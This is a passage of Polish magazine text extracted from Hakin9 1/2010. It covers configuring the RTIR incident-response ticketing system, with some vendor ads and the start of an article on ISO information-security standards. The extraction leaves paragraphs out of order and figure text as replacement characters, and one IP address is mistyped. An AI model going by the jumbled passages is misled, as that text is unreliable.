zaznaczenie opcji Let this user be granted rights znajdującej się nad polem Nowe hasło. Jeśli tego nie zrobimy, użytkownik będzie nieaktywny i domyślnie niewidoczny na liście użytkowników (Home -> Configuration -> Users). Grupa jest zbiorem użytkowników posiadających wspólne cechy. Wyróżnia się 5 rodzajów grup: zdefiniowane przez użytkownika, systemowe (użytkownicy uprawnieni i nieuprawnieni), role (zgłaszający, właściciel itp.), grupy personalne oraz podgrupy. Rodzaj grupy można określić dopiero po jej utworzeniu. W niniejszym artykule ograniczymy się do utworzenia grup rodzaju pierwszego, reprezentujących działy firmy. Utwórzmy więc grupy CSIRT, NOT i Management (wybierając z menu Home -> Configuration -> Groups -> Create) oraz przypiszmy do nich użytkowników utworzonych wcześniej (wybierając z menu Home -> Configuration -> Groups -> CSIRT -> Members, dla każdej z utworzonych grup zmieniając CSIRT na właściwą nazwę). RTIR Grupy, podobnie jak użytkownicy, nie mogą być usuwane. Jeśli sądzimy, że jakaś grupa jest już niepotrzebna w systemie, możemy ją co najwyżej wyłączyć. W naszej instalacji, oprócz nowo utworzonych grup istnieją domyślne Duty Team, Duty Team EDUNET i Duty Team GOVNET. Wyłączmy je, wybierając z menu Home -> Configuration -> Groups -> Duty Team (oraz pozostałe grupy) i odznaczając opcję Udostępniona. Dzięki temu, domyślnie nie będą one wyświetlane na liście grup Home -> Configuration -> Groups (można to zmienić zaznaczając opcję Include disabled groups in listing). Utwórzmy teraz jeszcze jednego użytkownika spoza firmy ATH (będącego pracownikiem ATJ) o nazwie urban. Przyda on nam się później do zgłoszenia incydentu. Użytkownika tego nie przypisujemy do żadnej grupy. Spowoduje to umieszczenie go w grupach systemowych Nieuprawnieni i Wszyscy (ang. Unprivileged i All). kolejce, a także na nie odpowiadać. Możemy to zrobić wybierając z menu Home -> Configuration -> Queues -> Blocks -> Group rights oraz przyznając grupie NOT następujące uprawnienia: OwnTicket, ReplyTicket, SeeQueue, ShowTicket, i TakeTicket (aby wybrać z listy więcej niż jedno uprawnienie, przytrzymaj klawisz [Control]). Ustalmy też od razu uprawnienia dla grupy CSIRT, pozwalające co najmniej na tworzenie biletów dla tej samej kolejki: CreateTicket, ShowTicket. Kolejna kolejka, dla której ustawimy uprawnienia to Incidents. Ponieważ chcemy, aby każdy kto posiada konto w systemie mógł zgłosić incydent, przyznajmy następujące prawa (wyberając z menu Home -> Configuration -> Queues -> Incidents -> Group rights) dla Tabela 1. Najważniejsze zmienne konfiguracyjne, ich znaczenie i użyte wartości Zmienna Wartość Znaczenie rtname ath nazwa domeny, w obrębie której RT ma funkcjonować (w naszym przypadku nazwa hosta, na którym pracujemy) DatabaseType mysql typ bazy danych DatabaseUser rt_user użytkownik bazy danych DatabasePassword ****** hasło bazy danych dla systemu RT DatabaseName rt3 nazwa bazy danych WebDomain ath domena instalacji interfejsu WWW WebPath /rt ścieżka do instalacji interfejsu WWW Kolejki i prawa dostępu Jak już wspomniano wcześniej, kolejki służą do grupowania biletów. W tym momencie w naszym systemie powinno być widoczne (Home -> Configuration -> Queues) 5 następujących kolejek: Blocks, Incident Reports, Incidents, Investigations i General, przeznaczonych odpowiednio dla blokad, raportów na temat incydentów, zgłoszeń incydentów, dochodzeń i pozostałych zgłoszeń. Prawa dostępu mogą być przyznawane w odniesieniu do użytkowników, grup i kolejek. W praktyce, przed przyznaniem praw dostępu, musimy zadać sobie trzy pytania. Po pierwsze, komu przyznać prawa dostępu (użytkownikowi, grupie, właścicielowi biletu, wszystkim)? Po drugie, do czego przyznać prawa dostępu (konkretnej kolejki, kilku kolejek kolejek, globalnie)? Po trzecie, jakie prawa dostępu przyznać (przeglądanie, edycja, tworzenie)? Przyznajmy więc odpowiednie uprawnienia dla użytkowników i grup, które właśnie stworzyliśmy, zadając sobie wspomniane 3 pytania. Na początek przyznajmy grupie NOT prawa dotyczące kolejki Blocks, tak aby użytkownicy byli w stanie tworzyć, odczytywać i brać w posiadanie bilety zgrupowane w tej Rysunek 5. Zarządzanie uprawnieniami 1/2010 HAKIN9 61 PRAKTYKA grupy systemowej Everyone : CreateTicket, Modify Ticket, SeeQueue, ShowTicket. Oprócz tego, chcemy aby członkowie CSIRT mogli przejmować bilety oraz na nie odpowiadać, przyznajmy zatem tej grupie uprawnienia: OwnTicket, ReplyToTicket, TakeTicket. Czas wreszcie na określenie uprawnień do ostatnie (w naszym przypadku kolejki) – Investigations. Ponieważ w naszym systemie dochodzenia będą tworzone przez członków zespołu CSIRT, wybierzmy z menu Home -> Configuration -> Queues -> Investigations -> Group rights i przyznajmy następujące uprawnienia grupie CSIRT: CreateTicket, OwnTicket, ShowTicket. Przykład obsługi zgłoszenia Rysunek 6. Tworzenie powiadomienia o incydencie Rysunek 7. Odpowiedź na bilet z kolejki Blocks 62 HAKIN9 1/2010 Można już powiedzieć, że nasz system ma podstawową funkcjonalność – sprawdźmy więc jego działanie. W tym celu stworzymy nowe zgłoszenie używając interfejsu WWW. Logujemy się jako użytkownik urban i w prawym górnym rogu interfejsu wybieramy kolejkę Incidents (która w tym momencie powinna być jedyną dla nas dostępną) oraz naciskamy przycisk New ticket in. Wypełniamy pola tematu (Subject) i wiadomości (Message) wpisując odpowiednio np.: Skanowanie portów i Nasi administratorzy wykryli skanowanie portów przeprowadzone z adresu IP 192.168.0.13. Następnie tworzymy powiadomienie o incydencie, naciskając przycisk Create. Po otrzymaniu komunikatu o pomyślnym utworzeniu incydentu możemy się jeszcze upewnić, że jest on już widoczny na stronie głównej (Home) w ramkach Most due unowned incidents oraz Most due incidents. W tym momencie rola naszego użytkownika z firmy zewnętrznej jest już zakończona. Zalogujmy się więc jako jeden z członków zespołu CSIRT, np. cezary. Widzimy na stronie głównej nowy bilet (incydent) . Decydujemy się na zajęcie tym zgłoszeniem (klikamy link Take). Następnie, po zapoznaniu się z treścią ogłoszenia i ocenie, że nie istnieje jeszcze żadne dochodzenie związane z podobnymi zgłoszeniami, tworzymy nowe dochodzenie (ramka Investigations, link Launch). Ponieważ jednak wkrótce kończymy pracę, należy wylogować się z systemu. Teraz możemy zalogować się jako cyryl i zapoznać z dochodzeniem. Jako cyryl decydujemy się na zajęcie dochodzeniem (link Take). Oczywiście próbujemy skontaktować się z właścicielem nieszczęsnego nr IP, jednak ponieważ nam się to nie udaje, tworzymy blokadę (ramka Blocks, link New), prosząc o zablokowanie adresu IP 192.168.013 i należy się wylogować. Analogicznie do Przyłącz się do naszego Klubu PRO Jedna edycja Klubu PRO obejmuje 12 miesięcy, czyli 12 kolejnych numerów pisma. Jak wygląda reklama? W naszym magazynie będą pojawiały się strony z reklamami firm, które skorzystają z naszej wyjątkowej oferty. Każda strona podzielona będzie na moduły. Każda firma ma na wyłączność jeden moduł. Zawiera on: logo firmy, 300-400 znaków na temat oferty firmy oraz kontakt do niej. Magazyn Hakin9 wychodzi w nakładzie 6000 egzemplarzy – jest to więc znakomita okazja na promocję za naprawdę niewielką cenę. Aby poznać szczegóły naszego Klubu napisz do: [email protected] 22 427 36 77 CCNS Działalność firmy skoncentrowana jest wokół hasła zapewnienia pełnego bezpieczeństwa funkcjonowania Klienta w realiach współczesnej gospodarki. Jako Expert Partner firmy WatchGuard Inc. oferujemy kompleksowe rozwiązania bezpieczeństwa sieci i systemów informatycznych obejmujące nowoczesne urządzenia typu Unified Threat Management, niezawodny serwis i szeroki wachlarz szkoleń. www.ccns.pl Sokra-NET Działa od roku 2002, specjalizuje się w szeroko pojętym bezpieczeństwie informacji. Posiada wykwalifikowany specjalnie do tych celów zespół inżynierów którzy przy współpracy z naszymi klientami maksymalizują bezpieczeństwo danych, audytując i dobezpieczając. Wykonujemy testy penetracyjne, analizy kodów źródłowych, testy wydajnościowe aplikacji i ich środowisk teleinformatycznych. Wdrażamy polityki bezpieczeństwa. Wspomagamy naszych partnerów merytorycznie. www.sokra.net TTS Company Sp. z o.o. Sprzedaż i dystrybucja oprogramowania komputerowego. Import programów na zamówienie. Ponad 200 producentów w standardowej ofercie. Chcesz kupić oprogramowanie i nie możesz znaleźć polskiego dostawcy? Skontaktuj się z nami – sprowadzimy nawet pojedyncze licencje. www.OprogramowanieKomputerowe.pl Kei.pl Kei.pl działa na rynku usług hostingowych od 2000 roku. Do naszych zadowolonych Klientów z dumą możemy zaliczyć wiele przedsiębiorstw sektora MSP, instytucji oraz osób prywatnych. W ofercie Kei.pl znajdują się pakiety hostingowe, a także usługi dla wymagających Użytkowników – platformy e-Biznes oraz serwery fizyczne. www.kei.pl PRAKTYKA poprzednich czynności, po zalogowaniu się jako nikodem zajmujemy się nowym biletem w kolejce Blocks, tworząc blokadę w rzeczywistości (aktualizując ustawienia firewalla) oraz odpowiadając na bilet (link Reply) (Rysunek 7). Następnie logujemy się ponownie jako cezary. Otwieramy jedyny bilet jaki posiadamy. Tym razem, widzimy dwa kolejne bilety z nim powiązane (w ramkach Investigations i Blocks). Otwieramy bilet kolejki Blocks i widzimy odpowiedź nikodema, że blokada została wykonana. Wracamy do strony zgłoszenia które przyjęliśmy od urbana i odpowiadamy na nie (przycisk Reply), że wykonana została blokada, a dochodzenie trwa. Tak oto przeszliśmy przez przykładowy łańcuch reakcji na incydent (w bardzo okrojonym wydaniu i ciągle nie dokończony). W praktyce wymaga to nieco więcej zachodu, jednak trudno zaprzeczyć, że teraz bardzo dobrze widać, iż przy odpowiedniej konfiguracji i dużej liczbie zgłoszeń, RTIR może znacznie usprawnić pracę. A to nie wszystko. System udostępnia nam jeszcze bardziej zaawansowane możliwości, takie jak zgłoszenia z użyciem poczty elektronicznej, priorytezowanie biletów, szablony wiadomości, skrypty, tablice ogłoszeń (które możemy zmieniać wg własnych potrzeb) oraz wiele rozszerzeń i narzędzi (np. wtyczka RTFM, niszczarka), o których w dalszej części artykułu. (po kolejkach) uporządkowania biletów. Każdy bilet może mieć nadany priorytet liczbowy od 0 do 99, przy czym wyróżnia się dodatkowo 5 poziomów słownych: Low, Medium, High, Critical, Fatal, z przyporządkowanymi im zakresami liczbowymi (odpowiednio 11-20, 21-30, 31-40, 41-50, 51-60). Przyporządkowane określeniom słownym zakresy można oczywiście zmieniać wg potrzeb. Przekazywanie wiadomości Przekazywanie wiadomości jest bardzo użyteczną funkcjonalnością. Pozwala ono na automatyczne powiadomienie określonych osób o biletach określonego typu. W praktyce sprowadza się to do przyznania użytkownikowi, grupie użytkowników lub roli odpowiednich praw dla odpowiedniej kolejki. Rysunek 8. Dodanie nowego obserwatora kolejki Bardziej zaawansowana funkcjonalność System RTIR może być w bardzo szerokim zakresie dostosowany do specyficznych potrzeb. Możliwe jest m.in. tworzenie dodatkowych, własnych pól dla biletów, kolejek, grup i użytkowników (Home -> Configuration -> Custom Fields -> Create). Pola takie mogą być użyte przykładowo do dodania nowych stanów biletów (np. oprócz domyślnych open, resolved, abandoned można sobie zdefiniować spam) lub nowych atrybutów użytkowników (np. narodowości, czy stażu pracy). Kolejną użyteczną funkcjonalnością, o której warto wspomnieć w tym miejscu, jest system priorytetów biletów. Priorytety pozwalają na kolejny stopień 64 HAKIN9 1/2010 Rysunek 9. Zarządzanie globalne szablonami RTIR Skonfigurujmy więc nasz system tak, aby wiadomości dotyczące dochodzeń (ang. investigations) były przekazywane zenonowi. Można to zrobić dodając zenona do grupy (roli) Cc. Logujemy się jako root i wybieramy z menu Home -> Configuration -> Queues -> Investigations -> Watchers. Następnie dodajemy zenona jako Cc (np. wybierając Name i wpisując zenon). Nie działa? Nic dziwnego, zenon nie miał przecież przyznanych odpowiednich praw dostępu. Zanim będzie on mógł być dodany jako obserwator (watcher), musimy mu przyznać prawo WatchAsCc. Aby to zrobić wybieramy z menu Home -> Configuration -> Queues -> Investigations -> UserRights i przyznajemy zenonowi prawo Watch. Ponownie próbujemy dodać ustalić zenona jako obserwatora, wybierając Home -> Configuration -> Queues -> Investigations -> Watchers i dodając go jako Cc (Rysunek 8). Od tej pory, zenon będzie dostawał kopie wszystkich informacji przesyłanych w kolejce Investigations. Szablony i skrypty Rysunek 10. Tworzenie nowego skryptu Szablony wiadomości (ang. templates) mogą być tworzone globalnie (jako przeznaczone dla wszystkich kolejek) lub lokalnie (wewnątrz wybranej kolejki). Umiejętne ich użycie w znaczny sposób odciąża pracowników. Skrypty (celowo nazywane przez autorów RTIR Scrips, nie Scripts), podobnie jak szablony, mogą być tworzone globalnie lub lokalnie (wewnątrz kolejek). Zasada działania skryptów opiera się na łańcuchu warunek – akcja – szablon. Jako warunek może podać np. utworzenie incydentu, otrzymanie komentarza lub zakończenie dochodzenia. Akcją może być np. wysłanie powiadomienia do właściciela biletu, którego dotyczyło zdarzenie spełniające warunek. W takim wypadku, do wygenerowania treści wiadomości używany jest właśnie szablon. Spróbujmy dostosować szablony wiadomości wysyłanych automatycznie w przypadku tworzenia nowych dochodzeń (Investigations). Można to zrobić wybierając z menu Home -> Queues -> Investigations -> Templates -> Autoreply. Przykładowy (zmodyfikowany już) szablon Autoreply dla kolejki Investigations przedstawia Listing 4. Widać na nim sposób odwoływania się do właściwości biletu z użyciem znaków $ i ->. Przykładowo wyrażenie {$Ticket>QueueObj->CorrespondAddress()} Rysunek 11. Tworzenie nowego artykułu (wtyczka RTFM) przy wysyłaniu wiadomości zostanie zastąpione domyślnym adresem korespondencyjnym dla niniejszego 1/2010 HAKIN9 65 PRAKTYKA biletu, natomiast {$Ticket->id} będzie zastąpione nr id biletu. Spróbujmy jeszcze utworzyć nowy szablon globalny, który przyda nam za chwilę do zademonstrowania zasady działania skryptów. Z menu wybieramy Home -> Configuration -> Global -> Templates -> New. Wpisujemy nazwę ZmianaPriorytetu, opis powiadomienie o zmianie priorytetu i zawartość, którą przedstawiona Listing 6. Tak utworzony szablon będzie służył do automatycznego poinformowania zgłaszającego o zmianie priorytetu jego zgłoszenia. Aby to uzyskać musimy jeszcze utworzyć skrypt. Ponieważ chcemy aby dotyczył on wszystkich biletów, niezależnie od kolejki, do jakiej zostają przyporządkowane, tworzymy go także w sekcji globalnej. Aby to zrobić wybieramy z menu Home -> Configuration -> Global -> Scrips -> New (Rysunek 10). Podajemy opis (ang. description) Powiadomienie OZmianiePriorytetu, wybieramy warunek (condition) On Priority Change, operację Autoreply To Requestors oraz szablon (które przed chwilą utworzyliśmy) Globa template: ZmianaPriorytetu. Analogicznie można tworzyć skrypty dla szerokiej gamy innych akcji. Wtyczki, narzędzia i rozszerzenia Jedną z dostępnych dla RT wtyczek (która może być szczególnie użyteczna w systemie RTIR) jest RTFM. Daje ona możliwość tworzenia przez użytkowników artykułów i może być wykorzystana np. do popularyzowania wśród użytkowników schematów postępowania po wykryciu incydentu bezpieczeństwa. Spróbujmy stworzyć prosty artykuł z wykorzystaniem RTFM. Zalogowanie jako root, wybieramy z menu Home -> RTFM -> Articles -> New Article oraz pozycję in class Templates. Następnie wypełniamy wszystkie pola wg uznania i naciskamy Create. Szczególnie użyteczne są tutaj pola Refers to: oraz Referred by:, w których można zdefiniować połączenia z innymi artykułami i – co w naszym przypadku ważniejsze – biletami (Rysunek 11). Artykuły mogą być też tworzone z poziomu obsługi biletu poprzez kliknięcie linku New w ramce Articles (podobnie jak wcześniej było tworzone np. dochodzenie z użyciem ramki Investigations). Oprócz wtyczek dostępne są także użyteczne narzędzia, m.in. raporty (Home -> Tools -> Reports), pozwalające na sprawdzanie biletów rozwiązanych lub utworzonych w określonym przedziale czasu, kolejce i przez określonego użytkownika. Kolejnym narzędziem są tablice ogłoszeń (ang. dashboards), pozwalające na współdzielenie wybranych danych (np. kliku naszych biletów o największych priorytetach) z innymi użytkownikami, zwalniając ich z konieczności wyszukiwania takich danych na własną rękę. Szereg narzędzi można też doinstalować w formie rozszerzeń (ang. extensions). Jednym z nich jest Export search results as XLS. Pozwala ono na tworzenie zestawień biletów/ użytkowników posiadających określone Akronimy • • • • • Computer Emergency Response Team – CERT, Computer Security Incident Response Team – CSIRT, Request Trackter – RT, Request Tracker FAQ Manager – RTFM, Request Tracker for Incident Response – RTIR. W Sieci • • • • • • http://www.bestpractical.com/ – Best Practical, http://bestpractical.com/rt/ – RT, http://bestpractical.com/rtir/ – RTIR, http://bestpractical.com/rtfm/ – RTFM http://wiki.bestpractical.com/view/HomePage – RT Wiki, http://rt.easter-eggs.org/demos/stable/ – RT Demo. 66 HAKIN9 1/2010 atrybuty w formacie Microsoft Excel. Innym użytecznym rozszerzeniem jest RT3StatisticsPackage, które pozwala na generowanie raportów na temat czasu, liczby obsłużonych zgłoszeń itp. dla poszczególnych użytkowników. Istnieje także możliwość kontrolowania systemu z użyciem wiadomości e-mail, dzięki rozszerzeniu Command by email. Udostępnia ono polecenia m.in. polecenia typu utwórz kolejkę czy zmień priorytet biletu poprzez użycie odpowiednich tematów wiadomości. Inne przykłady rozszerzeń to niszczarka (shredder), SLA (Service Level Agreements), kalendarz (RTx::Calendar), scalanie użytkowników (RT::Extension:: MergeUsers), wizualizacja biletów na osi czasu (RT::Extension::Timeline). Obecnie, na oficjalnej stronie projektu dostępne jest w sumie ponad 30 rozszerzeń. Podsumowanie Systemy wsparcia reagowania na incydenty stanowią bardzo użyteczne narzędzie, pozwalające zorganizować pracę zespołów CERT/CSIRT. W niniejszym artykule przedstawiono jedynie ogólne koncepcje realizacji takich systemów oraz pokrótce scharakteryzowano jedno z istniejących, popularnych, wolnodostępnych rozwiązań o otwartym kodzie źródłowym. Zarówno możliwości RTIR jak i wielu innych systemów tego typu są znacznie szersze, a dogłębne ich omówienie na łamach kilkustronicowego artykułu – niemożliwe. RTIR mimo swych wad niewynikających z oficjalnej dokumentacji (takich jak niedokończone tłumaczenie interfejsu na język polski), posiada jedną, ważną zaletę – bogate możliwości dostosowania do własnych potrzeb. W wersji obecnej omówiony system stanowi, jeśli nie bardzo dobre rozwiązanie końcowe, to co najmniej bardzo dobrą bazę do wypracowania takiegoż. Bardziej dociekliwych odsyłam do ramki W Sieci, gdzie znaleźć można kilka ciekawych linków na temat RT (w tym oficjalne demo on-line, w którym brakuje niestety wtyczki RTIR). Marcin Teodorczyk Autor jest absolwentem kierunku Informatyka jednej z największych polskich uczelni technicznych. Obecnie pracuje jako asystent informatyczny w dziale bezpieczeństwa jednego z wiodących w Polsce dostarczycieli usług obliczeniowych i sieciowych. Kontakt z autorem: [email protected]. BEZPIECZNA FIRMA ANDRZEJ GUZIK Stopień trudności Bezpieczeństwo informacji Zapewnienie bezpieczeństwa informacji w organizacji wymaga wdrożenia systemu zarządzania bezpieczeństwem informacji (SZBI). Polskie normy dotyczące bezpieczeństwa informacji obok przepisów prawa i standardów branżowych stanowią tzw. najlepsze praktyki, wytyczne lub wymagania dla SZBI. Informacja odgrywa w naszych czasach coraz większą rolę i w funkcjonowaniu przedsiębiorstw staje się ważniejsza niż dostęp do kapitału. Alvin Tofler W Z ARTYKUŁU DOWIESZ SIĘ jak zapewnić bezpieczeństwo informacji w organizacji. CO POWINIENEŚ WIEDZIEĆ znać podstawowe wymagania dotyczące bezpieczeństwa informacji. 68 HAKIN9 1/2010 raz z rozwojem społeczeństwa informacyjnego pojawiła się potrzeba standaryzacji zagadnień związanych z bezpieczeństwem informacji. W normie terminologicznej PN-ISO/IEC 2382-8: 2001 Technika informatyczna -Terminologia – Bezpieczeństwo nie znajdziemy definicji bezpieczeństwa informacji. Operuje ona pojęciem bezpieczeństwa danych rozumianym jako bezpieczeństwo systemu informatycznego odniesione do danych. Zaś samo bezpieczeństwo systemu informatycznego definiuje jako ochronę danych i zasobów przed przypadkowymi lub złośliwymi działaniami, zwykle poprzez podjęcie odpowiednich przedsięwzięć. Złośliwymi działaniami mogą być: modyfikacja, zniszczenie, dostęp, ujawnienie lub pozyskanie, jeśli działania te są nieuprawnione. Natomiast ochronę danych określa jako wdrożenie środków administracyjnych, technicznych lub fizycznych w celu ochrony przed nieuprawnionym dostępem do danych. W drugiej normie terminologicznej PNI-02000: 2002 Technika informatyczna – Zabezpieczenia w systemach informatycznych – Terminologia znajdziemy termin bezpieczeństwa informacji rozumiany jako system informatyczny wraz z systemem bezpieczeństwa komunikacji, składający się z wytycznych i procedur administracyjnych, przeznaczony do identyfikowania, nadzoru i ochrony informacji przed nieuprawnionym ujawnieniem. Natomiast ochronę danych norma definiuje tak jak norma PN-ISO/IEC 2382-8: 2001. Warto w tym miejscu zwrócić uwagę na rozgraniczenie angielskiego słowa security i safety, tłumaczonych jako bezpieczeństwo. Autorzy tłumaczenia normy przyjęli, że termin security oznacza wszelkie zabezpieczenia chroniące system informatyczny i jego zasoby przed szkodliwym oddziaływaniem otoczenia. Zaś termin safety oznacza wszelkie zabezpieczenia chroniące otoczenie przed szkodliwymi lub wręcz katastroficznymi oddziaływaniami systemu informatycznego na otoczenie systemu. Standardy bezpieczeństwa informacji Przejdźmy do standardów o fundamentalnym znaczeniu dla bezpieczeństwa informacji. Wśród nich należy wymienić: raporty ISO/IEC TR 13335 oraz normę ISO/IEC 17799. W Polsce ukazały się 3 spośród 5 części raportów technicznych ISO/IEC TR 13335. Część 1 ukazała się jako polska norma PN-I-13335-1: 1999 Technika informatyczna - Wytyczne do zarządzania bezpieczeństwem systemów informatycznych - Pojęcia i modele bezpieczeństwa systemów informatycznych, część 2 i 3 jako raporty techniczne: ISO/IEC TR 13335-2 Technika informatyczna - Wytyczne do zarządzania bezpieczeństwem systemów informatycznych Część 2: Zarządzanie i planowanie bezpieczeństwa systemów BEZPIECZEŃSTWO INFORMACJI informatycznych oraz ISO/IEC TR 133353 Technika informatyczna - Wytyczne do zarządzania bezpieczeństwem systemów informatycznych Część 3: Techniki zarządzania bezpieczeństwem systemów informatycznych. W Polsce nie przetłumaczono 4 części raportu: ISO/IEC 13335-4: Wybór zabezpieczeń oraz części 5 raportu: ISO/ IEC 13335-5: Zabezpieczenie połączeń zewnętrznych. Polska norma PN-I-13335-1 zawiera wytyczne dotyczące zarządzania bezpieczeństwem systemów informatycznych. Materiał ten może być przydatny dla kierownictwa odpowiedzialnego za bezpieczeństwo systemów informatycznych oraz dla osób, które odpowiadają za całościowy program bezpieczeństwa w instytucji. W rozumieniu normy bezpieczeństwo systemu informatycznego to wszystkie aspekty związane z definiowaniem, osiąganiem i utrzymywaniem poufności, integralności, dostępności, rozliczalności, autentyczności i niezawodności. W normie przedstawiono podstawowe pojęcia dotyczące bezpieczeństwa teleinformatycznego, takie jak: zasób, podatność, zagrożenia, następstwo, ryzyko, zabezpieczenie lub ryzyko szczątkowe. W formie prostych modeli pojęciowych pokazano związki zachodzące między nimi. W normie przedstawiono również podstawowe procesy związane z procesem zarządzania bezpieczeństwem systemów informatycznych. Wyodrębniono trzy podstawowe procesy: proces zarządzania konfiguracją, proces zarządzania zmianami i proces zarządzania ryzykiem. Autorzy normy zwracają uwagę na ograniczenia organizacyjne, finansowe, środowiskowe, osobowe, czasowe, prawne, techniczne, kulturowe i społeczne, które należy wziąć pod uwagę wybierając i implementując zabezpieczenia w ramach budowy sytemu bezpieczeństwa instytucji. Raport techniczny ISO/IEC 133352, wydanie polskie – Polski Komitet Normalizacyjny 2003, zawiera wytyczne do zarządzania i planowania bezpieczeństwa systemów teleinformatycznych. Raport ten może być przydatny dla kierownictwa odpowiedzialnego za systemy informatyczne w instytucji. Zarządzanie bezpieczeństwem systemów informatycznych instytucji jest procesem, który ma służyć osiąganiu i utrzymaniu odpowiedniego poziomu poufności, integralności, dostępności, rozliczalności, autentyczności i niezawodności. Punktem startu jest ustalenie celów instytucji dotyczących bezpieczeństwa systemów informatycznych. Cele te powinny wynikać z celów biznesowych instytucji. Zarządzanie bezpieczeństwem systemów informatycznych obejmuje między innymi takie działania jak: określenie celów, strategii i polityki bezpieczeństwa, określenie wymagań w zakresie bezpieczeństwa, wybór strategii analizy ryzyka, wybór zabezpieczeń, opracowanie planu zabezpieczeń systemu/-ów informatycznych instytucji, monitorowanie procesu ich wdrażania, przygotowanie personelu (szkolenia, działania uświadamiające) oraz czynności po wdrożeniu zabezpieczeń, takie jak: utrzymanie zabezpieczeń, zgodność z planem zabezpieczeń, monitorowanie oraz obsługa incydentów. Warto w tym miejscu zwrócić uwagę na organizację służb odpowiedzialnych za bezpieczeństwo w instytucji, a mianowicie: komitetu bezpieczeństwa systemów informatycznych, głównego inspektora bezpieczeństwa systemów informatycznych, inspektorów bezpieczeństwa projektu/ systemu informatycznego. Zasadniczą sprawą dla efektywności działań w zakresie zapewnienia bezpieczeństwa systemów informatycznych instytucji jest poparcie ze strony najwyższego kierownictwa instytucji. Poparcie to musi być faktyczne, a nie tylko deklaratywne. Raport techniczny ISO/IEC 133353, wydanie polskie – Polski Komitet Normalizacyjny 2003, zawiera wytyczne do zarządzania bezpieczeństwem systemów informatycznych. Zarządzanie bezpieczeństwem systemów informatycznych obejmuje analizę wymagań bezpieczeństwa, stworzenie planu, który zapewni spełnienie tych wymagań, wdrożenie tego planu oraz utrzymanie i administrowanie wdrożonymi zabezpieczeniami. Proces ten rozpoczyna się od określenia celów i strategii instytucji w dziedzinie bezpieczeństwa systemów informatycznych oraz od opracowania polityki bezpieczeństwa instytucji w zakresie systemów informatycznych. Ważną częścią procesu zarządzania bezpieczeństwem systemów informatycznych jest oszacowanie i analiza ryzyka, ponieważ w oparciu o wyniki analizy ryzyka dobiera się zabezpieczenia. Zastosowane zabezpieczenia powinny być efektywne kosztowo i uwzględniać wymagania wynikające z przepisów prawa, wymagania biznesowe i wymagania z analizy ryzyka zasobów posiadających wartość dla działania instytucji. Ryzyko, jakie powstaje po wprowadzeniu zabezpieczeń, nazywamy ryzykiem szczątkowym. Również dokument polityki bezpieczeństwa powinien zawierać m. in. podejście do zarządzania ryzykiem, strategię dla analizy ryzyka i części składowe tej analizy (metody i techniki). Przyjęta strategia analizy ryzyka powinna uwzględniać warunki charakterystyczne ���������� �� �� � � �� �� �� � �� �� �� � ������ � � �� � �� �� �� �������� ���������� ���������������������� ������������������� ��������������� ������������� Rysunek 1. Zależności pomiędzy elementami bezpieczeństwa 1/2010 HAKIN9 69 BEZPIECZNA FIRMA dla jednostki organizacyjnej i koncentrować się na działaniach związanych z bezpieczeństwem, tam gdzie są one naprawdę potrzebne. W raporcie przedstawiono cztery warianty podejścia do analizy ryzyka: podejście podstawowego poziomu bezpieczeństwa, podejście nieformalne, szczegółową analizę ryzyka i podejście mieszane. Podstawowa różnica pomiędzy nimi dotyczy stopnia szczegółowości analizy ryzyka. Podejście podstawowego poziomu bezpieczeństwa polega na wprowadzeniu standardowych zabezpieczeń niezależnie od ryzyka wynikającego z analizy zasobów, zagrożeń i podatności. Podejście nieformalne polega na wykorzystaniu wiedzy i doświadczenia ekspertów, koncentruje się na zasobach narażonych na wysokie ryzyko. Z kolei szczegółowa analiza ryzyka wymaga identyfikacji i wyceny aktywów, oszacowania zagrożeń oraz oszacowania podatności. Podejście czwarte, podejście mieszane obejmuje dwa etapy. W pierwszym etapie przeprowadza się ogólną analizę ryzyka dla wszystkich zasobów z uwzględnieniem ich wartości biznesowej i ryzyka, na które są one narażone. Dla wszystkich zidentyfikowanych zasobów, które są ważne dla instytucji i narażone na wysokie ryzyko należy przeprowadzić później szczegółową analizę ryzyka. W drugim etapie dla pozostałych zasobów należy zastosować podejście podstawowego poziomu bezpieczeństwa. Przyjęcie podejścia mieszanego zalecane jest dla większości instytucji. ������������ ���������� ���������� ���������� �������� ����� ���������� �������� ����������� �������������� ������ ������� �������� ����������� ����� ������ ���������� ��������� �������� ����������������� �������������� ���������� ����������� ��������� ���������� ������� Rysunek 2. Związki w zarządzaniu ryzykiem Jest ono najbardziej efektywne – szczegółowa analiza ryzyka dla zasobów posiadających wartość lub narażonych na wysokie ryzyko, a dla pozostałych zasobów zastosowanie podstawowego poziomu bezpieczeństwa – wdrożenie standardowych zabezpieczeń. Wdrożeniu zabezpieczeń powinien towarzyszyć również program uświadamiania i szkoleń, ważny dla uzyskania efektywności zabezpieczeń. Nie należy zapominać o dalszych działaniach po wdrożeniu zabezpieczeń. Działania te powinny obejmować m. in. konserwację, sprawdzenie zgodności z zasadami bezpieczeństwa, zarządzanie zmianami, monitorowanie oraz postępowanie w przypadku incydentów. Warto również zwrócić uwagę na załączniki do raportu. Mają one charakter praktyczny. Załącznik A zawiera przykład spisu treści polityki bezpieczeństwa instytucji w zakresie systemów informatycznych, załącznik B omawia wycenę aktywów, załącznik C przedstawia listę kontrolną możliwych typów zagrożeń, załącznik D zawiera przykłady typowych podatności, zaś załącznik E przykłady wykorzystania różnych metod analizy ryzyka. Zarządzanie bezpieczeństwem informacji Norma PN-ISO/IEC 17799: 2007 Technika informatyczna – Techniki bezpieczeństwa – Praktyczne zasady zarządzania bezpieczeństwem informacji jest pierwszym standardem obejmującym kompleksowo zarządzanie bezpieczeństwem informacji. Celem tej normy jest wdrożenie mechanizmów zarządzania, które zapewnią, że bezpieczeństwo informacji będzie istotnym elementem funkcjonowania organizacji. Tabela 1. Atrybuty informacji podlegające ochronie Atrybuty Informacji ISO 17799 Informacje niejawne Dane osobowe Tajemnica przedsiębiorstwa Inne tajemnice Poufność Tak Tak Tak Tak Tak Integralność Tak Tak Tak - - Dostępność Tak Tak - - - Rozliczalność Tak - Tak - - Autentyczność Tak - - - - Niezaprzeczalność Tak - - - - Niezawodność Tak - - - 70 HAKIN9 1/2010 BEZPIECZEŃSTWO INFORMACJI Norma zawiera wytyczne zarządzania bezpieczeństwem informacji. Dotyczy wszystkich obszarów bezpieczeństwa: fizycznego i środowiskowego, osobowego, IT, zarządzenia ciągłością działania i zapewnienia zgodności z przepisami prawa. Zgodnie z normą informacja jest aktywem, który podobnie jak inne ważne aktywa biznesowe, ma dla instytucji wartość i dlatego należy ją odpowiednio chronić. Dotyczy to zarówno ochrony informacji własnych instytucji, jak i zapewnienia bezpieczeństwa informacji udostępnionych przez klienta. Bezpieczeństwo informacji według normy oznacza ochronę informacji przed różnymi 